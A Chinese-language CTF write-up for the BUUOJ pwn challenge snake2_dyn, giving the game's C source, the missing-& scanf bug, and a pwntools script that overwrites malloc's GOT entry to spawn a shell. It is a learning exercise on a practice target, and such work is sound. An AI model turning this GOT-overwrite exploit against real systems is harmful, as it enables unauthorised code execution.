博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
网址
https://buuoj.cn/challenges
Pwn类,[BJDCTF 2nd]snake2_dyn
使用ssh远程登录
ssh -p 28117 [email protected]
打开是一个这样的界面,微信能够扫描出来sNaKes,输入密码之后是这样的
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define high 20
#define wide 30
#define up 1
#define down 2
#define left 3
#define right 4
// void setIO(unsigned int flag) {
// if(flag)
// system("stty cbreak -echo");
// else
// system("stty cooked echo");
// }
void StringReplace(char *buf, char src, char dest){
char *p = buf;
while(*p){
if(p[0]==src){
p[0]=dest;
}
p++;
}
}
unsigned int score = 0;
unsigned int Level = 1;
unsigned int direction = 1;
unsigned int IsEat=0;
unsigned int FoodH=5,FoodW=10;
char Name[0x100];
char flag[0x1000];
unsigned int flag_pos = 0;
char Picture[high][wide];
typedef struct snake{
unsigned int x;
unsigned int y;
struct snake* next;
}Node,*PSnake;
PSnake Init() {
printf("SnakeMake start!\n");
unsigned int len=5;
PSnake head=(PSnake)malloc(sizeof(Node));
if(head == NULL)
printf("Snake head make failed!\n");
head->x=wide/2;
head->y=high/2+5;
head->next=NULL;
unsigned int i=0;
for(;i<5;i++) {
PSnake P=(PSnake)malloc(sizeof(Node));
if(P==NULL) {
printf("Snake is dead!\n");
break;
}
P->x=wide/2;
P->y=high/2-i+4;
P->next=head;
head=P;
}
printf("Snake is alive!\n");
return head;
}
PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=(PSnake)malloc(sizeof(Node));
if(p==NULL) {
printf("New head make failed!");
}
p->x = x;
p->y = y;
p->next=snake;
score += 1;
return p;
}
void Walk(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=snake;
unsigned int a,b, c=x, d=y;
while(p!=NULL) {
a=p->x;
b=p->y;
p->x = c;
p->y = d;
c=a;
d=b;
p=p->next;
}
}
unsigned int Serch(unsigned int x,unsigned int y,PSnake snake) {
PSnake q=snake->next;
while(q!= NULL) {
if( ( (q->x) == x ) && ( (q->y) == y ) )
return 1;
q=q->next;
}
return 0;
}
void WriteSnake(PSnake snake) {
PSnake p=snake;
while(p != NULL) {
Picture[p->y][p->x]=flag[flag_pos%1000];
p=p->next;
}
}
void Paint(void) {
unsigned int y=high,x=wide,i,j;
for(i=0; i ((high * wide)/2 ) )
return 0;
srand((int)time(0));
FoodH=rand()%high;
FoodW=rand()%wide;
if(Picture[FoodH][FoodW] == ' ')
break;
}
MC++;
return 1;
}
PSnake MakeMove(PSnake s) {
unsigned int x,y;
PSnake p=s;
x=s->x,y=s->y;
if(direction == up)
y = y - 1;
if(direction == down)
y = y + 1;
if(direction == right)
x = x + 1;
if(direction == left)
x = x - 1;
if( (y>(high-1)) || ((y<0)) || ((x)<0) || (x>(wide-1)) ) {
printf("x=%d y=%d s.x=%d s.y=%d \n",x,y,s->x,s->y);
printf("The snake break the wall!");
return NULL;
}
if(Serch(x,y,s)) {
printf("x=%d y=%d \n",x,y);
while(p != NULL) {
printf("p->x= %d p->y= %d \n",p->x,p->y);
p=p->next;
}
printf("Your snake eat itsself!");
return NULL;
}
if( (x==FoodW) && (y==FoodH) ) {
s=Eat(x,y,s);
IsEat=1;
}
else {
Walk(x,y,s);
}
return s;
}
unsigned int kbhit(void) {
struct timeval tv;
fd_set rdfs;
tv.tv_sec = 0;
tv.tv_usec = 0;
FD_ZERO(&rdfs);
FD_SET(STDIN_FILENO,&rdfs);
select(STDIN_FILENO+1,&rdfs,NULL,NULL,&tv);
return FD_ISSET(STDIN_FILENO,&rdfs);
}
void InputCTL(unsigned int level) {
unsigned int Dir=direction;
unsigned int timeUse;
struct timeval start,end;
gettimeofday(&start,NULL);
// setIO(1);
char c,n;
while(1) {
gettimeofday(&end,NULL);
timeUse = 1000000*(end.tv_sec - start.tv_sec) + end.tv_usec - start.tv_usec;
if(timeUse > 1000000 - level*100000)
break;
if(kbhit())
c=getchar();
}
// setIO(0);
if( c == 'w') {
Dir=1;
}
else if( c == 's') {
Dir=2;
}
else if( c == 'a') {
Dir=3;
}
else if( c == 'd') {
Dir=4;
}
else;
if(!(((Dir == 1) && (direction == down) ) || ((Dir == 2) && (direction == up))
|| ((Dir == 3) && (direction == right)) || ((Dir == 4) && (direction == left)))){
direction = Dir;
}
}
unsigned int CheckLevel(unsigned int score) {
static unsigned int change=0;
if(((score - change) >= 3) && (Level < 9) ) {
Level ++;
change += 3;
}
return Level;
}
void printRule(void){
printf("\033c");
printf("游戏说明:\n");
printf(" 0.您将操控一条名为Imagin的蛇进行游戏\n");
printf(" 1.每300分升级一次并提速,最高等级为⑨\n");
printf(" 2.不知怎的,挑食的Imagin突然饭量猛增!\n");
printf(" 3.吃够300000分,饲养员TaQini将奖励您shell一个\n\n");
printf("按键说明:\n");
printf(" \033[31;47m a - 左 d - 右 \033[0m\n");
printf(" \033[31;47m w - 上 s - 下 \033[0m\n\n");
printf("获胜条件:\n");
printf(" \033[31;47m Capture TaQini's flag \033[0m\n");
printf(" \033[31;47m 拿到TaQini的flag \033[0m\n");
printf("途径1:\n");
printf(" 控制Imagin吃豆豆,达到300000分\n");
printf("途径2:\n");
printf(" 用你善于发现的眼睛,找到游戏中的小bug\n\n");
// printf("小提示:\n");
// printf("- 蛇身花纹会根据吃的食物改变哦\n\n");
}
void GiveAwards(){
system("/bin/sh");
}
void getName(){
char buf[0x100];
printf("请输入玩家昵称(仅限英文)[按回车开始游戏]:");
scanf("%s",buf);
strncpy(Name, buf, 0x10);
}
void questionnaire(void){
int Goal;
char Answer[0x20];
puts("你收到了一份来自TaQini的调查问卷");
printf("1.Snake系列游戏中,贪吃蛇的名字是:");
scanf("%20s",Answer);
printf("2.Pwn/Game真好玩儿[Y/n]:");
scanf("%20s",Answer);
printf("3.你目标的分数是:");
scanf("%d",Goal);
}
void GameRun(void) {
unsigned int GameState=1;
score=0;
Level=1;
printRule();
getName();
questionnaire();
PSnake jack=Init();
PSnake p=jack;
while(GameState) {
Paint();
WriteSnake(jack);
if(IsEat) {
if(MakeFood()){
IsEat=0;
flag_pos ++;
}
}
// 投食
Picture[FoodH][FoodW]=flag[(flag_pos+1)%1000];
Print(Name,score,CheckLevel(score));
InputCTL(Level);
jack = MakeMove(jack);
if( jack == NULL ) {
GameState=0;
printf("\033c");
system("stty icanon"); // 恢复缓冲
system("stty echo"); // 恢复回显
printf("\033[?25h"); // 恢复鼠标显示
printf("Game Over!\n");
}
// 奖励shell
if( score >= 3000 ){
GameState=0;
printf("\033c");
system("stty icanon"); // 恢复缓冲
system("stty echo"); // 恢复回显
printf("\033[?25h"); // 恢复鼠标显示
GiveAwards();
}
}
}
unsigned int main(void) {
setvbuf(stdin,0,1,0);
setvbuf(stdout,0,2,0);
// 打开 flag 文件 喂蛇
unsigned int fd = open("flag",O_RDONLY);
read(fd,flag,1000);
StringReplace(flag,'\n','*');
GameRun();
return 0;
}
发现需要玩到30000分才能获得shell,先玩一玩看看,不,不玩了,那脑瓜子那是嗡嗡地
void questionnaire(void){
int Goal;
char Answer[0x20];
puts("你收到了一份来自TaQini的调查问卷");
printf("1.Snake系列游戏中,贪吃蛇的名字是:");
scanf("%20s",Answer);
printf("2.Pwn/Game真好玩儿[Y/n]:");
scanf("%20s",Answer);
printf("3.你目标的分数是:");
scanf("%d",Goal);
}
questionnaire函数中Goal没有加上取地址符&,如果在这之前我们能控制这个值,就可以任意地址写
Python3
from pwn import *
s = ssh(host='node3.buuoj.cn',user='ctf',password='sNaKes',port=28117)
p = s.process('/home/ctf/snake')
name = 0x00405380
malloc_got = 0x405078
system = 0x401CF4
payload = b'a' * (0x110 - 0x34) + p32(malloc_got)
p.sendline(payload)
p.sendline('a')
p.sendline('a')
p.sendline(str(system))
p.interactive()
是一个二维码,使用微信扫一扫或者qq都行,记得远一点哈
感谢
BUUCTF
以及勤劳的自己